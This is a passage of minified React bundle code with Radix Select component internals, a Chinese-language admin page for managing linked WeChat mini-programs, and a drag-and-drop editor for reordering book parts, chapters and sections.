lt=Math.max(J,$+w.offsetTop+(Re?U:0)+B)+ce;c.style.height=lt+"px",w.scrollTop=ue-J+w.offsetTop}c.style.margin=`${ws}px 0`,c.style.minHeight=V+"px",c.style.maxHeight=ne+"px",r==null||r(),requestAnimationFrame(()=>y.current=!0)}},[g,i.trigger,i.valueNode,c,h,w,v,k,i.dir,r]);or(()=>E(),[E]);const[T,I]=b.useState();or(()=>{h&&I(window.getComputedStyle(h).zIndex)},[h]);const O=b.useCallback(L=>{L&&N.current===!0&&(E(),C==null||C(),N.current=!1)},[E,C]);return s.jsx(_B,{scope:n,contentWrapper:c,shouldExpandOnScrollRef:y,onScrollButtonChange:O,children:s.jsx("div",{ref:u,style:{display:"flex",flexDirection:"column",position:"fixed",zIndex:T},children:s.jsx(ht.div,{...a,ref:m,style:{boxSizing:"border-box",maxHeight:"100%",...a.style}})})})});v4.displayName=DB;var LB="SelectPopperPosition",Ix=b.forwardRef((t,e)=>{const{__scopeSelect:n,align:r="start",collisionPadding:a=ws,...i}=t,o=Uf(n);return s.jsx(NB,{...o,...i,ref:e,align:r,collisionPadding:a,style:{boxSizing:"border-box",...i.style,"--radix-select-content-transform-origin":"var(--radix-popper-transform-origin)","--radix-select-content-available-width":"var(--radix-popper-available-width)","--radix-select-content-available-height":"var(--radix-popper-available-height)","--radix-select-trigger-width":"var(--radix-popper-anchor-width)","--radix-select-trigger-height":"var(--radix-popper-anchor-height)"}})});Ix.displayName=LB;var[_B,ny]=Vl(To,{}),Rx="SelectViewport",N4=b.forwardRef((t,e)=>{const{__scopeSelect:n,nonce:r,...a}=t,i=Ri(Rx,n),o=ny(Rx,n),c=Ct(e,i.onViewportChange),u=b.useRef(0);return s.jsxs(s.Fragment,{children:[s.jsx("style",{dangerouslySetInnerHTML:{__html:"[data-radix-select-viewport]{scrollbar-width:none;-ms-overflow-style:none;-webkit-overflow-scrolling:touch;}[data-radix-select-viewport]::-webkit-scrollbar{display:none}"},nonce:r}),s.jsx(Hf.Slot,{scope:n,children:s.jsx(ht.div,{"data-radix-select-viewport":"",role:"presentation",...a,ref:c,style:{position:"relative",flex:1,overflow:"hidden auto",...a.style},onScroll:ot(a.onScroll,h=>{const f=h.currentTarget,{contentWrapper:m,shouldExpandOnScrollRef:g}=o;if(g!=null&&g.current&&m){const y=Math.abs(u.current-f.scrollTop);if(y>0){const N=window.innerHeight-ws*2,w=parseFloat(m.style.minHeight),v=parseFloat(m.style.height),k=Math.max(w,v);if(k0?T:0,m.style.justifyContent="flex-end")}}}u.current=f.scrollTop})})})]})});N4.displayName=Rx;var w4="SelectGroup",[zB,$B]=Vl(w4),FB=b.forwardRef((t,e)=>{const{__scopeSelect:n,...r}=t,a=fi();return s.jsx(zB,{scope:n,id:a,children:s.jsx(ht.div,{role:"group","aria-labelledby":a,...r,ref:e})})});FB.displayName=w4;var j4="SelectLabel",BB=b.forwardRef((t,e)=>{const{__scopeSelect:n,...r}=t,a=$B(j4,n);return s.jsx(ht.div,{id:a.id,...r,ref:e})});BB.displayName=j4;var df="SelectItem",[VB,k4]=Vl(df),S4=b.forwardRef((t,e)=>{const{__scopeSelect:n,value:r,disabled:a=!1,textValue:i,...o}=t,c=Ii(df,n),u=Ri(df,n),h=c.value===r,[f,m]=b.useState(i??""),[g,y]=b.useState(!1),N=Ct(e,C=>{var E;return(E=u.itemRefCallback)==null?void 0:E.call(u,C,r,a)}),w=fi(),v=b.useRef("touch"),k=()=>{a||(c.onValueChange(r),c.onOpenChange(!1))};if(r==="")throw new Error("A must have a value prop that is not an empty string. This is because the Select value can be set to an empty string to clear the selection and show the placeholder.");return s.jsx(VB,{scope:n,value:r,disabled:a,textId:w,isSelected:h,onItemTextChange:b.useCallback(C=>{m(E=>E||((C==null?void 0:C.textContent)??"").trim())},[]),children:s.jsx(Hf.ItemSlot,{scope:n,value:r,disabled:a,textValue:f,children:s.jsx(ht.div,{role:"option","aria-labelledby":w,"data-highlighted":g?"":void 0,"aria-selected":h&&g,"data-state":h?"checked":"unchecked","aria-disabled":a||void 0,"data-disabled":a?"":void 0,tabIndex:a?void 0:-1,...o,ref:N,onFocus:ot(o.onFocus,()=>y(!0)),onBlur:ot(o.onBlur,()=>y(!1)),onClick:ot(o.onClick,()=>{v.current!=="mouse"&&k()}),onPointerUp:ot(o.onPointerUp,()=>{v.current==="mouse"&&k()}),onPointerDown:ot(o.onPointerDown,C=>{v.current=C.pointerType}),onPointerMove:ot(o.onPointerMove,C=>{var E;v.current=C.pointerType,a?(E=u.onItemLeave)==null||E.call(u):v.current==="mouse"&&C.currentTarget.focus({preventScroll:!0})}),onPointerLeave:ot(o.onPointerLeave,C=>{var E;C.currentTarget===document.activeElement&&((E=u.onItemLeave)==null||E.call(u))}),onKeyDown:ot(o.onKeyDown,C=>{var T;((T=u.searchRef)==null?void 0:T.current)!==""&&C.key===" "||(CB.includes(C.key)&&k(),C.key===" "&&C.preventDefault())})})})})});S4.displayName=df;var Dc="SelectItemText",C4=b.forwardRef((t,e)=>{const{__scopeSelect:n,className:r,style:a,...i}=t,o=Ii(Dc,n),c=Ri(Dc,n),u=k4(Dc,n),h=AB(Dc,n),[f,m]=b.useState(null),g=Ct(e,k=>m(k),u.onItemTextChange,k=>{var C;return(C=c.itemTextRefCallback)==null?void 0:C.call(c,k,u.value,u.disabled)}),y=f==null?void 0:f.textContent,N=b.useMemo(()=>s.jsx("option",{value:u.value,disabled:u.disabled,children:y},u.value),[u.disabled,u.value,y]),{onNativeOptionAdd:w,onNativeOptionRemove:v}=h;return or(()=>(w(N),()=>v(N)),[w,v,N]),s.jsxs(s.Fragment,{children:[s.jsx(ht.span,{id:u.textId,...i,ref:g}),u.isSelected&&o.valueNode&&!o.valueNodeHasChildren?md.createPortal(i.children,o.valueNode):null]})});C4.displayName=Dc;var E4="SelectItemIndicator",T4=b.forwardRef((t,e)=>{const{__scopeSelect:n,...r}=t;return k4(E4,n).isSelected?s.jsx(ht.span,{"aria-hidden":!0,...r,ref:e}):null});T4.displayName=E4;var Px="SelectScrollUpButton",M4=b.forwardRef((t,e)=>{const n=Ri(Px,t.__scopeSelect),r=ny(Px,t.__scopeSelect),[a,i]=b.useState(!1),o=Ct(e,r.onScrollButtonChange);return or(()=>{if(n.viewport&&n.isPositioned){let c=function(){const h=u.scrollTop>0;i(h)};const u=n.viewport;return c(),u.addEventListener("scroll",c),()=>u.removeEventListener("scroll",c)}},[n.viewport,n.isPositioned]),a?s.jsx(I4,{...t,ref:o,onAutoScroll:()=>{const{viewport:c,selectedItem:u}=n;c&&u&&(c.scrollTop=c.scrollTop-u.offsetHeight)}}):null});M4.displayName=Px;var Ox="SelectScrollDownButton",A4=b.forwardRef((t,e)=>{const n=Ri(Ox,t.__scopeSelect),r=ny(Ox,t.__scopeSelect),[a,i]=b.useState(!1),o=Ct(e,r.onScrollButtonChange);return or(()=>{if(n.viewport&&n.isPositioned){let c=function(){const h=u.scrollHeight-u.clientHeight,f=Math.ceil(u.scrollTop)u.removeEventListener("scroll",c)}},[n.viewport,n.isPositioned]),a?s.jsx(I4,{...t,ref:o,onAutoScroll:()=>{const{viewport:c,selectedItem:u}=n;c&&u&&(c.scrollTop=c.scrollTop+u.offsetHeight)}}):null});A4.displayName=Ox;var I4=b.forwardRef((t,e)=>{const{__scopeSelect:n,onAutoScroll:r,...a}=t,i=Ri("SelectScrollButton",n),o=b.useRef(null),c=Wf(n),u=b.useCallback(()=>{o.current!==null&&(window.clearInterval(o.current),o.current=null)},[]);return b.useEffect(()=>()=>u(),[u]),or(()=>{var f;const h=c().find(m=>m.ref.current===document.activeElement);(f=h==null?void 0:h.ref.current)==null||f.scrollIntoView({block:"nearest"})},[c]),s.jsx(ht.div,{"aria-hidden":!0,...a,ref:e,style:{flexShrink:0,...a.style},onPointerDown:ot(a.onPointerDown,()=>{o.current===null&&(o.current=window.setInterval(r,50))}),onPointerMove:ot(a.onPointerMove,()=>{var h;(h=i.onItemLeave)==null||h.call(i),o.current===null&&(o.current=window.setInterval(r,50))}),onPointerLeave:ot(a.onPointerLeave,()=>{u()})})}),HB="SelectSeparator",WB=b.forwardRef((t,e)=>{const{__scopeSelect:n,...r}=t;return s.jsx(ht.div,{"aria-hidden":!0,...r,ref:e})});WB.displayName=HB;var Dx="SelectArrow",UB=b.forwardRef((t,e)=>{const{__scopeSelect:n,...r}=t,a=Uf(n),i=Ii(Dx,n),o=Ri(Dx,n);return i.open&&o.position==="popper"?s.jsx(wB,{...a,...r,ref:e}):null});UB.displayName=Dx;var KB="SelectBubbleInput",R4=b.forwardRef(({__scopeSelect:t,value:e,...n},r)=>{const a=b.useRef(null),i=Ct(r,a),o=e0(e);return b.useEffect(()=>{const c=a.current;if(!c)return;const u=window.HTMLSelectElement.prototype,f=Object.getOwnPropertyDescriptor(u,"value").set;if(o!==e&&f){const m=new Event("change",{bubbles:!0});f.call(c,e),c.dispatchEvent(m)}},[o,e]),s.jsx(ht.select,{...n,style:{...c4,...n.style},ref:i,defaultValue:e})});R4.displayName=KB;function P4(t){return t===""||t===void 0}function O4(t){const e=bi(t),n=b.useRef(""),r=b.useRef(0),a=b.useCallback(o=>{const c=n.current+o;e(c),(function u(h){n.current=h,window.clearTimeout(r.current),h!==""&&(r.current=window.setTimeout(()=>u(""),1e3))})(c)},[e]),i=b.useCallback(()=>{n.current="",window.clearTimeout(r.current)},[]);return b.useEffect(()=>()=>window.clearTimeout(r.current),[]),[n,a,i]}function D4(t,e,n){const a=e.length>1&&Array.from(e).every(h=>h===e[0])?e[0]:e,i=n?t.indexOf(n):-1;let o=qB(t,Math.max(i,0));a.length===1&&(o=o.filter(h=>h!==n));const u=o.find(h=>h.textValue.toLowerCase().startsWith(a.toLowerCase()));return u!==n?u:void 0}function qB(t,e){return t.map((n,r)=>t[(e+r)%t.length])}var GB=d4,L4=h4,JB=p4,YB=m4,QB=g4,_4=x4,XB=N4,z4=S4,ZB=C4,eV=T4,tV=M4,nV=A4;const hl=GB,fl=JB,no=b.forwardRef(({className:t,children:e,...n},r)=>s.jsxs(L4,{ref:r,className:Et("flex h-10 w-full items-center justify-between rounded-md border border-input bg-background px-3 py-2 text-sm placeholder:text-muted-foreground focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 disabled:cursor-not-allowed disabled:opacity-50 [&>span]:line-clamp-1",t),...n,children:[e,s.jsx(YB,{asChild:!0,children:s.jsx(Zc,{className:"h-4 w-4 opacity-50"})})]}));no.displayName=L4.displayName;const ro=b.forwardRef(({className:t,children:e,position:n="popper",...r},a)=>s.jsx(QB,{children:s.jsxs(_4,{ref:a,className:Et("relative z-50 max-h-96 min-w-[8rem] overflow-hidden rounded-md border bg-popover text-popover-foreground shadow-md",n==="popper"&&"data-[side=bottom]:translate-y-1",t),position:n,...r,children:[s.jsx(tV,{className:"flex cursor-default items-center justify-center py-1",children:s.jsx(Kw,{className:"h-4 w-4"})}),s.jsx(XB,{className:"p-1",children:e}),s.jsx(nV,{className:"flex cursor-default items-center justify-center py-1",children:s.jsx(Zc,{className:"h-4 w-4"})})]})}));ro.displayName=_4.displayName;const _r=b.forwardRef(({className:t,children:e,...n},r)=>s.jsxs(z4,{ref:r,className:Et("relative flex w-full cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-sm outline-none focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50",t),...n,children:[s.jsx("span",{className:"absolute left-2 flex h-3.5 w-3.5 items-center justify-center",children:s.jsx(eV,{children:s.jsx(ff,{className:"h-4 w-4"})})}),s.jsx(ZB,{children:e})]}));_r.displayName=z4.displayName;function rV(){const[t,e]=b.useState([]),[n,r]=b.useState(!0),[a,i]=b.useState(!1),[o,c]=b.useState(null),[u,h]=b.useState({name:"",appId:"",path:"",sort:0}),[f,m]=b.useState(!1);async function g(){r(!0);try{const k=await De("/api/admin/linked-miniprograms");if(k!=null&&k.success&&Array.isArray(k.data)){const C=[...k.data].sort((E,T)=>(E.sort??0)-(T.sort??0));e(C)}}catch(k){console.error("Load linked miniprograms error:",k),ie.error("加载失败")}finally{r(!1)}}b.useEffect(()=>{g()},[]);function y(){c(null),h({name:"",appId:"",path:"",sort:t.length}),i(!0)}function N(k){c(k),h({name:k.name,appId:k.appId,path:k.path??"",sort:k.sort??0}),i(!0)}async function w(){const k=u.name.trim(),C=u.appId.trim();if(!k||!C){ie.error("请填写小程序名称和 AppID");return}m(!0);try{if(o){const E=await zt("/api/admin/linked-miniprograms",{key:o.key,name:k,appId:C,path:u.path.trim(),sort:u.sort});E!=null&&E.success?(ie.success("已更新"),i(!1),g()):ie.error((E==null?void 0:E.error)??"更新失败")}else{const E=await vt("/api/admin/linked-miniprograms",{name:k,appId:C,path:u.path.trim(),sort:u.sort});E!=null&&E.success?(ie.success("已添加"),i(!1),g()):ie.error((E==null?void 0:E.error)??"添加失败")}}catch{ie.error("操作失败")}finally{m(!1)}}async function v(k){if(confirm(`确定要删除「${k.name}」吗?`))try{const C=await Bs(`/api/admin/linked-miniprograms/${k.key}`);C!=null&&C.success?(ie.success("已删除"),g()):ie.error((C==null?void 0:C.error)??"删除失败")}catch{ie.error("删除失败")}}return s.jsxs("div",{className:"space-y-6",children:[s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(yi,{className:"w-5 h-5 text-[#38bdac]"}),"关联小程序管理"]}),s.jsx(It,{className:"text-gray-400",children:"添加后生成 32 位密钥,链接标签选择小程序时存密钥;小程序端点击 #标签 时用密钥查 appId 再跳转。需在 app.json 的 navigateToMiniProgramAppIdList 中配置目标 AppID。"})]}),s.jsxs(Ee,{children:[s.jsxs("div",{className:"flex justify-end gap-2 mb-4",children:[s.jsx(te,{variant:"outline",size:"sm",className:"border-gray-600 text-gray-400 hover:bg-gray-700/50",onClick:()=>g(),title:"刷新",children:s.jsx(Ke,{className:"w-4 h-4"})}),s.jsxs(te,{onClick:y,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(hn,{className:"w-4 h-4 mr-2"}),"添加关联小程序"]})]}),n?s.jsx("div",{className:"py-12 text-center text-gray-400",children:"加载中..."}):s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400",children:"名称"}),s.jsx(ke,{className:"text-gray-400",children:"密钥"}),s.jsx(ke,{className:"text-gray-400",children:"AppID"}),s.jsx(ke,{className:"text-gray-400",children:"路径"}),s.jsx(ke,{className:"text-gray-400 w-24",children:"排序"}),s.jsx(ke,{className:"text-gray-400 w-32",children:"操作"})]})}),s.jsxs(dr,{children:[t.map(k=>s.jsxs(it,{className:"border-gray-700/50",children:[s.jsx(ve,{className:"text-white",children:k.name}),s.jsx(ve,{className:"text-gray-300 font-mono text-xs",children:k.key}),s.jsx(ve,{className:"text-gray-300 font-mono text-sm",children:k.appId}),s.jsx(ve,{className:"text-gray-400 text-sm",children:k.path||"—"}),s.jsx(ve,{className:"text-gray-300",children:k.sort??0}),s.jsx(ve,{children:s.jsxs("div",{className:"flex gap-2",children:[s.jsx(te,{variant:"ghost",size:"sm",className:"text-[#38bdac] hover:bg-[#38bdac]/20",onClick:()=>N(k),children:s.jsx(nj,{className:"w-4 h-4"})}),s.jsx(te,{variant:"ghost",size:"sm",className:"text-red-400 hover:bg-red-500/20",onClick:()=>v(k),children:s.jsx(Jn,{className:"w-4 h-4"})})]})})]},k.key)),t.length===0&&s.jsx(it,{children:s.jsx(ve,{colSpan:6,className:"text-center py-12 text-gray-500",children:"暂无关联小程序,点击「添加关联小程序」开始配置"})})]})]})]})]}),s.jsx(Dt,{open:a,onOpenChange:i,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-md p-4 gap-3",children:[s.jsxs(Lt,{className:"gap-1",children:[s.jsx(_t,{className:"text-base",children:o?"编辑关联小程序":"添加关联小程序"}),s.jsx(yf,{className:"text-gray-400 text-xs",children:"填写目标小程序的名称和 AppID,路径可选(为空则打开首页)"})]}),s.jsxs("div",{className:"space-y-3 py-2",children:[s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-300 text-sm",children:"小程序名称"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white h-8 text-sm",placeholder:"例如:Soul 创业派对",value:u.name,onChange:k=>h(C=>({...C,name:k.target.value}))})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-300 text-sm",children:"AppID"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white font-mono h-8 text-sm",placeholder:"例如:wxb8bbb2b10dec74aa",value:u.appId,onChange:k=>h(C=>({...C,appId:k.target.value}))})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-300 text-sm",children:"路径(可选)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white h-8 text-sm",placeholder:"例如:pages/index/index",value:u.path,onChange:k=>h(C=>({...C,path:k.target.value}))})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-300 text-sm",children:"排序"}),s.jsx(se,{type:"number",className:"bg-[#0a1628] border-gray-700 text-white h-8 text-sm w-20",value:u.sort,onChange:k=>h(C=>({...C,sort:parseInt(k.target.value,10)||0}))})]})]}),s.jsxs(on,{className:"gap-2 pt-1",children:[s.jsx(te,{variant:"outline",onClick:()=>i(!1),className:"border-gray-600",children:"取消"}),s.jsx(te,{onClick:w,disabled:f,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:f?"保存中...":"保存"})]})]})})]})}const sV=["一","二","三","四","五","六","七","八","九","十"];function Ng(t){return t.startsWith("part:")?{type:"part",id:t.slice(5)}:t.startsWith("chapter:")?{type:"chapter",id:t.slice(8)}:t.startsWith("section:")?{type:"section",id:t.slice(8)}:null}function aV({parts:t,expandedParts:e,onTogglePart:n,onReorder:r,onReadSection:a,onDeleteSection:i,onAddSectionInPart:o,onAddChapterInPart:c,onDeleteChapter:u,onEditPart:h,onDeletePart:f,onEditChapter:m,selectedSectionIds:g=[],onToggleSectionSelect:y,onShowSectionOrders:N,pinnedSectionIds:w=[]}){const[v,k]=b.useState(null),[C,E]=b.useState(null),T=(_,Z)=>(v==null?void 0:v.type)===_&&(v==null?void 0:v.id)===Z,I=(_,Z)=>(C==null?void 0:C.type)===_&&(C==null?void 0:C.id)===Z,O=b.useCallback(()=>{const _=[];for(const Z of t)for(const ne of Z.chapters)for(const fe of ne.sections)_.push({id:fe.id,partId:Z.id,partTitle:Z.title,chapterId:ne.id,chapterTitle:ne.title});return _},[t]),L=b.useCallback(async(_,Z,ne,fe)=>{var P;_.preventDefault(),_.stopPropagation();const xe=_.dataTransfer.getData("text/plain"),$=Ng(xe);if(!$||$.type===Z&&$.id===ne)return;const H=O(),oe=new Map(H.map(K=>[K.id,K]));if($.type==="part"&&Z==="part"){const K=t.map(J=>J.id),V=K.indexOf($.id),z=K.indexOf(ne);if(V===-1||z===-1)return;const U=[...K];U.splice(V,1),U.splice(VB.id===J);if(Y)for(const B of Y.chapters)for(const re of B.sections){const ue=oe.get(re.id);ue&&le.push(ue)}}await r(le);return}if($.type==="chapter"&&(Z==="chapter"||Z==="section"||Z==="part")){const K=t.find(ue=>ue.chapters.some(ce=>ce.id===$.id)),V=K==null?void 0:K.chapters.find(ue=>ue.id===$.id);if(!K||!V)return;let z,U,le=null;if(Z==="section"){const ue=oe.get(ne);if(!ue)return;z=ue.partId,U=ue.partTitle,le=ne}else if(Z==="chapter"){const ue=t.find(Re=>Re.chapters.some(Le=>Le.id===ne)),ce=ue==null?void 0:ue.chapters.find(Re=>Re.id===ne);if(!ue||!ce)return;z=ue.id,U=ue.title;const ye=H.filter(Re=>Re.chapterId===ne).pop();le=(ye==null?void 0:ye.id)??null}else{const ue=t.find(ye=>ye.id===ne);if(!ue||!ue.chapters[0])return;z=ue.id,U=ue.title;const ce=H.filter(ye=>ye.partId===ue.id&&ye.chapterId===ue.chapters[0].id);le=((P=ce[ce.length-1])==null?void 0:P.id)??null}const J=V.sections.map(ue=>ue.id),Y=H.filter(ue=>!J.includes(ue.id));let B=Y.length;if(le){const ue=Y.findIndex(ce=>ce.id===le);ue>=0&&(B=ue+1)}const re=J.map(ue=>({...oe.get(ue),partId:z,partTitle:U,chapterId:V.id,chapterTitle:V.title}));await r([...Y.slice(0,B),...re,...Y.slice(B)]);return}if($.type==="section"&&(Z==="section"||Z==="chapter"||Z==="part")){if(!fe)return;const{partId:K,partTitle:V,chapterId:z,chapterTitle:U}=fe;let le;if(Z==="section")le=H.findIndex(ce=>ce.id===ne);else if(Z==="chapter"){const ce=H.filter(ye=>ye.chapterId===ne).pop();le=ce?H.findIndex(ye=>ye.id===ce.id)+1:H.length}else{const ce=t.find(Le=>Le.id===ne);if(!(ce!=null&&ce.chapters[0]))return;const ye=H.filter(Le=>Le.partId===ce.id&&Le.chapterId===ce.chapters[0].id),Re=ye[ye.length-1];le=Re?H.findIndex(Le=>Le.id===Re.id)+1:0}const J=H.findIndex(ce=>ce.id===$.id);if(J===-1)return;const Y=H.filter(ce=>ce.id!==$.id),B=J({onDragEnter:fe=>{fe.preventDefault(),fe.stopPropagation(),fe.dataTransfer.dropEffect="move",E({type:_,id:Z})},onDragOver:fe=>{fe.preventDefault(),fe.stopPropagation(),fe.dataTransfer.dropEffect="move",E({type:_,id:Z})},onDragLeave:()=>E(null),onDrop:fe=>{E(null);const xe=Ng(fe.dataTransfer.getData("text/plain"));if(xe&&!(_==="section"&&xe.type==="section"&&xe.id===Z))if(_==="part")if(xe.type==="part")L(fe,"part",Z);else{const $=t.find(oe=>oe.id===Z);($==null?void 0:$.chapters[0])&&ne&&L(fe,"part",Z,ne)}else _==="chapter"&&ne?(xe.type==="section"||xe.type==="chapter")&&L(fe,"chapter",Z,ne):_==="section"&&ne&&L(fe,"section",Z,ne)}}),D=_=>sV[_]??String(_+1);return s.jsx("div",{className:"space-y-3",children:t.map((_,Z)=>{var V,z,U,le;const ne=_.title==="序言"||_.title.includes("序言"),fe=_.title==="尾声"||_.title.includes("尾声"),xe=_.title==="附录"||_.title.includes("附录"),$=I("part",_.id),H=e.includes(_.id),oe=_.chapters.length,P=_.chapters.reduce((J,Y)=>J+Y.sections.length,0);if(ne&&_.chapters.length===1&&_.chapters[0].sections.length===1){const J=_.chapters[0].sections[0],Y=I("section",J.id),B={partId:_.id,partTitle:_.title,chapterId:_.chapters[0].id,chapterTitle:_.chapters[0].title};return s.jsxs("div",{draggable:!0,onDragStart:re=>{re.stopPropagation(),re.dataTransfer.setData("text/plain","section:"+J.id),re.dataTransfer.effectAllowed="move",k({type:"section",id:J.id})},onDragEnd:()=>{k(null),E(null)},className:`rounded-xl border border-gray-700/50 bg-[#1C1C1E] p-4 flex items-center justify-between hover:border-[#38bdac]/30 transition-colors cursor-grab active:cursor-grabbing select-none min-h-[40px] ${Y?"bg-[#38bdac]/15 ring-2 ring-[#38bdac]/50":""} ${T("section",J.id)?"opacity-60 scale-[0.98] ring-2 ring-[#38bdac]":""}`,...R("section",J.id,B),children:[s.jsxs("div",{className:"flex items-center gap-3 flex-1 min-w-0 select-none",children:[s.jsx(ua,{className:"w-5 h-5 text-gray-500 shrink-0 opacity-60"}),y&&s.jsx("label",{className:"shrink-0 flex items-center",onClick:re=>re.stopPropagation(),children:s.jsx("input",{type:"checkbox",checked:g.includes(J.id),onChange:()=>y(J.id),className:"w-4 h-4 rounded border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"})}),s.jsx("div",{className:"w-8 h-8 rounded-lg bg-gray-600/50 flex items-center justify-center shrink-0",children:s.jsx(Br,{className:"w-4 h-4 text-gray-400"})}),s.jsxs("span",{className:"font-medium text-gray-200 truncate",children:[_.chapters[0].title," | ",J.title]}),w.includes(J.id)&&s.jsx("span",{title:"已置顶",children:s.jsx(gl,{className:"w-3.5 h-3.5 text-amber-400 fill-amber-400 shrink-0"})})]}),s.jsxs("div",{className:"flex items-center gap-2 shrink-0",onMouseDown:re=>re.stopPropagation(),onClick:re=>re.stopPropagation(),children:[J.price===0||J.isFree?s.jsx("span",{className:"px-2 py-1 bg-[#38bdac]/20 text-[#38bdac] text-[10px] font-medium rounded",children:"免费"}):s.jsxs("span",{className:"text-xs text-gray-500",children:["¥",J.price]}),s.jsxs("span",{className:"text-[10px] text-gray-500",children:["点击 ",J.clickCount??0," · 付款 ",J.payCount??0]}),s.jsxs("span",{className:"text-[10px] text-amber-400/90",title:"热度积分与排名",children:["热度 ",(J.hotScore??0).toFixed(1)," · 第",J.hotRank&&J.hotRank>0?J.hotRank:"-","名"]}),N&&s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>N(J),className:"text-[10px] text-gray-500 hover:text-[#38bdac] h-7 px-1.5",children:"付款记录"}),s.jsxs("div",{className:"flex gap-1",children:[s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>a(J),className:"text-gray-500 hover:text-[#38bdac] h-7 px-2",title:"编辑",children:s.jsx(Wt,{className:"w-3.5 h-3.5"})}),s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>i(J),className:"text-gray-500 hover:text-red-400 h-7 px-2",children:s.jsx(Jn,{className:"w-3.5 h-3.5"})})]})]})]},_.id)}if(_.title==="2026每日派对干货"||_.title.includes("2026每日派对干货")){const J=I("part",_.id);return s.jsxs("div",{className:`rounded-xl border overflow-hidden transition-all duration-200 ${J?"border-[#38bdac] ring-2 ring-[#38bdac]/40 bg-[#38bdac]/5":"border-gray-700/50 bg-[#1C1C1E]"}`,...R("part",_.id,{partId:_.id,partTitle:_.title,chapterId:((V=_.chapters[0])==null?void 0:V.id)??"",chapterTitle:((z=_.chapters[0])==null?void 0:z.title)??""}),children:[s.jsxs("div",{draggable:!0,onDragStart:Y=>{Y.stopPropagation(),Y.dataTransfer.setData("text/plain","part:"+_.id),Y.dataTransfer.effectAllowed="move",k({type:"part",id:_.id})},onDragEnd:()=>{k(null),E(null)},className:`flex items-center justify-between p-4 cursor-grab active:cursor-grabbing select-none transition-all duration-200 ${T("part",_.id)?"opacity-60 scale-[0.98] ring-2 ring-[#38bdac]":"hover:bg-[#162840]/50"}`,onClick:()=>n(_.id),children:[s.jsxs("div",{className:"flex items-center gap-3 min-w-0",children:[s.jsx(ua,{className:"w-5 h-5 text-gray-500 shrink-0 opacity-60"}),s.jsx("div",{className:"w-10 h-10 rounded-xl bg-[#38bdac]/80 flex items-center justify-center text-white font-bold shrink-0",children:"派"}),s.jsxs("div",{children:[s.jsx("h3",{className:"font-bold text-white text-base",children:_.title}),s.jsxs("p",{className:"text-xs text-gray-500 mt-0.5",children:["共 ",P," 节"]})]})]}),s.jsxs("div",{className:"flex items-center gap-2 shrink-0",onMouseDown:Y=>Y.stopPropagation(),onClick:Y=>Y.stopPropagation(),children:[o&&s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>o(_),className:"text-gray-500 hover:text-[#38bdac] h-7 px-2",title:"在本篇下新增章节",children:s.jsx(hn,{className:"w-3.5 h-3.5"})}),h&&s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>h(_),className:"text-gray-500 hover:text-[#38bdac] h-7 px-2",title:"编辑篇名",children:s.jsx(Wt,{className:"w-3.5 h-3.5"})}),f&&s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>f(_),className:"text-gray-500 hover:text-red-400 h-7 px-2",title:"删除本篇",children:s.jsx(Jn,{className:"w-3.5 h-3.5"})}),s.jsxs("span",{className:"text-xs text-gray-500",children:[oe,"章"]}),H?s.jsx(Zc,{className:"w-5 h-5 text-gray-500"}):s.jsx(pl,{className:"w-5 h-5 text-gray-500"})]})]}),H&&_.chapters.length>0&&s.jsx("div",{className:"border-t border-gray-700/50 pl-4 pr-4 pb-4 pt-3 space-y-4",children:_.chapters.map(Y=>s.jsxs("div",{className:"space-y-2",children:[s.jsxs("div",{className:"flex items-center gap-2 w-full",children:[s.jsx("p",{className:"text-xs text-gray-500 pb-1 flex-1",children:Y.title}),s.jsxs("div",{className:"flex gap-0.5 shrink-0",onClick:B=>B.stopPropagation(),children:[m&&s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>m(_,Y),className:"text-gray-500 hover:text-[#38bdac] h-7 px-1.5",title:"编辑章节名称",children:s.jsx(Wt,{className:"w-3.5 h-3.5"})}),c&&s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>c(_),className:"text-gray-500 hover:text-[#38bdac] h-7 px-1.5",title:"新增第X章",children:s.jsx(hn,{className:"w-3.5 h-3.5"})}),u&&s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>u(_,Y),className:"text-gray-500 hover:text-red-400 h-7 px-1.5",title:"删除本章",children:s.jsx(Jn,{className:"w-3.5 h-3.5"})})]})]}),s.jsx("div",{className:"space-y-1 pl-2",children:Y.sections.map(B=>{const re=I("section",B.id);return s.jsxs("div",{draggable:!0,onDragStart:ue=>{ue.stopPropagation(),ue.dataTransfer.setData("text/plain","section:"+B.id),ue.dataTransfer.effectAllowed="move",k({type:"section",id:B.id})},onDragEnd:()=>{k(null),E(null)},className:`flex items-center justify-between py-2 px-3 rounded-lg min-h-[40px] cursor-grab active:cursor-grabbing select-none transition-all duration-200 ${re?"bg-[#38bdac]/15 ring-2 ring-[#38bdac]/50":"hover:bg-[#162840]/50"} ${T("section",B.id)?"opacity-60 scale-[0.98] ring-2 